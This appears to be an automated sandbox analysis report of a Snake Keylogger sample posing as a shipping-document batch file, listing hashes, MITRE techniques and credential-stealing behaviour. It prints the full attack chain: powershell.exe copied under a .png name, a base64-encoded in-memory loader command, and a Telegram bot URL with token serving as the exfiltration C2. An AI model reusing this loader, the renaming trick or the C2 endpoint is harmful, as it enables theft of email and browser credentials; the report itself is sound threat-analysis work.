snakekeylogger | e9ce85db6dc343245a12b0ac30190c5e9944a42e865aa3f5ea3b41a5d65c8137

General

Target

AW87438991 Shipping Document of goods.bat
Size

865KB
MD5

722f1c5eef20be0cc0c13609a32fbcf0
SHA1

95ea04e0671acf23dfb0a8937feedb193d8c1db9
SHA256

c6cd9239769abc6280231e68ea19720889e64068fb5a347629755be0c6e735ae
SHA512

76545545417f959ad191e1d55194354d4e941008943062d6b48c42c6b2cbfd7669b747601423e6f6a0a59ad45959f569c8b8c7a3115404567b8bfcc402d4dafe
SSDEEP

24576:TmsLDIDisDkpyOiisSniF83PQmM4pPx8fkr:asiXDklDQ83PVRRr

Score

10^/10

snakekeylogger collection keylogger spyware stealer

Malware Config

Extracted

Family

snakekeylogger

C2

https://api.telegram.org/bot6553808600:AAEctl9z_ViEe1VbBXIi3Q8EzcyyXMP9F5g/sendMessage?chat_id=5086753017

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/972-27-0x000001ECC7850000-0x000001ECC7872000-memory.dmp	family_snakekeylogger

Executes dropped EXE 1 IoCs

Processes:

Mskestde.png

pid process

972 Mskestde.png
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
972	Mskestde.png

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

Mskestde.png

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Mskestde.png
Key opened	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Mskestde.png
Key opened	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Mskestde.png

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

13 checkip.dyndns.org
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Mskestde.png

pid process

972 Mskestde.png
972 Mskestde.png
972 Mskestde.png
972 Mskestde.png
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Mskestde.png

description pid process

Token: SeDebugPrivilege 972 Mskestde.png
Token: SeDebugPrivilege 972 Mskestde.png

flow	ioc
13	checkip.dyndns.org

pid	process
972	Mskestde.png
972	Mskestde.png
972	Mskestde.png
972	Mskestde.png

description	pid	process
Token: SeDebugPrivilege	972	Mskestde.png
Token: SeDebugPrivilege	972	Mskestde.png

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2820 wrote to memory of 3896	2820	cmd.exe	cmd.exe
PID 2820 wrote to memory of 3896	2820	cmd.exe	cmd.exe
PID 3896 wrote to memory of 2804	3896	cmd.exe	cmd.exe
PID 3896 wrote to memory of 2804	3896	cmd.exe	cmd.exe
PID 3896 wrote to memory of 2876	3896	cmd.exe	xcopy.exe
PID 3896 wrote to memory of 2876	3896	cmd.exe	xcopy.exe
PID 3896 wrote to memory of 1452	3896	cmd.exe	cmd.exe
PID 3896 wrote to memory of 1452	3896	cmd.exe	cmd.exe
PID 3896 wrote to memory of 1800	3896	cmd.exe	xcopy.exe
PID 3896 wrote to memory of 1800	3896	cmd.exe	xcopy.exe
PID 3896 wrote to memory of 972	3896	cmd.exe	Mskestde.png
PID 3896 wrote to memory of 972	3896	cmd.exe	Mskestde.png

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

Processes:

Mskestde.png

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Mskestde.png

outlook_win_path 1 IoCs

Processes:

Mskestde.png

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Mskestde.png

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\AW87438991 Shipping Document of goods.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2820

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\AW87438991 Shipping Document of goods.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:3896

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
3⤵
PID:2804

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Mskestde.png
3⤵
PID:2876

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
3⤵
PID:1452

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\AW87438991 Shipping Document of goods.bat" C:\Users\Admin\AppData\Local\Temp\Mskestde.png.bat
3⤵
PID:1800

C:\Users\Admin\AppData\Local\Temp\Mskestde.png
C:\Users\Admin\AppData\Local\Temp\Mskestde.png -win 1 -enc JABaAGMAZgBmAHAAaQB6AGUAawBzAG8AIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAWABrAHQAeQBiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFoAYwBmAGYAcABpAHoAZQBrAHMAbwApADsAJABKAGQAbABvAHQAZQB4AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAFgAawB0AHkAYgAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABDAHIAYgBnAHcAbgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAGQAbABvAHQAZQB4AG0ALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEMAcgBiAGcAdwBuAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABDAHIAYgBnAHcAbgAuAEMAbABvAHMAZQAoACkAOwAkAEoAZABsAG8AdABlAHgAbQAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAFgAawB0AHkAYgAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABYAGsAdAB5AGIAKQA7ACAAJABMAG0AaABtAGgAZQBwAHQAdgBqACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAFgAawB0AHkAYgApADsAIAAkAFMAbQBnAGUAZABxAGYAZQBvAHAAcgAgAD0AIAAkAEwAbQBoAG0AaABlAHAAdAB2AGoALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABXAHEAbABwAGkAZgB6ACAAPQAgACQAUwBtAGcAZQBkAHEAZgBlAG8AcAByAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Mskestde.png

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Mskestde.png.bat

Filesize
865KB

MD5
722f1c5eef20be0cc0c13609a32fbcf0

SHA1
95ea04e0671acf23dfb0a8937feedb193d8c1db9

SHA256
c6cd9239769abc6280231e68ea19720889e64068fb5a347629755be0c6e735ae

SHA512
76545545417f959ad191e1d55194354d4e941008943062d6b48c42c6b2cbfd7669b747601423e6f6a0a59ad45959f569c8b8c7a3115404567b8bfcc402d4dafe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5vuknmy1.rud.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/972-26-0x000001ECC77D0000-0x000001ECC77F9000-memory.dmp

Filesize
164KB

Download
memory/972-28-0x000001ECC5080000-0x000001ECC5090000-memory.dmp

Filesize
64KB

Download
memory/972-20-0x000001ECC5080000-0x000001ECC5090000-memory.dmp

Filesize
64KB

Download
memory/972-18-0x00007FF93FB60000-0x00007FF940621000-memory.dmp

Filesize
10.8MB

Download
memory/972-22-0x000001ECC7300000-0x000001ECC73AE000-memory.dmp

Filesize
696KB

Download
memory/972-23-0x000001ECC73B0000-0x000001ECC742A000-memory.dmp

Filesize
488KB

Download
memory/972-24-0x000001ECC7760000-0x000001ECC77C6000-memory.dmp

Filesize
408KB

Download
memory/972-9-0x000001ECC4FA0000-0x000001ECC4FC2000-memory.dmp

Filesize
136KB

Download
memory/972-27-0x000001ECC7850000-0x000001ECC7872000-memory.dmp

Filesize
136KB

Download
memory/972-19-0x000001ECC5080000-0x000001ECC5090000-memory.dmp

Filesize
64KB

Download
memory/972-29-0x000001ECC5080000-0x000001ECC5090000-memory.dmp

Filesize
64KB

Download
memory/972-30-0x00007FF93FB60000-0x00007FF940621000-memory.dmp

Filesize
10.8MB

Download
memory/972-31-0x000001ECC5080000-0x000001ECC5090000-memory.dmp

Filesize
64KB

Download
memory/972-32-0x000001ECC5080000-0x000001ECC5090000-memory.dmp

Filesize
64KB

Download
memory/972-33-0x000001ECC7A20000-0x000001ECC7A70000-memory.dmp

Filesize
320KB

Download
memory/972-34-0x000001ECC7C40000-0x000001ECC7E02000-memory.dmp

Filesize
1.8MB

Download
memory/972-35-0x000001ECC5080000-0x000001ECC5090000-memory.dmp

Filesize
64KB

Download
memory/972-36-0x000001ECC5080000-0x000001ECC5090000-memory.dmp

Filesize
64KB

Download
memory/972-37-0x000001ECC5080000-0x000001ECC5090000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads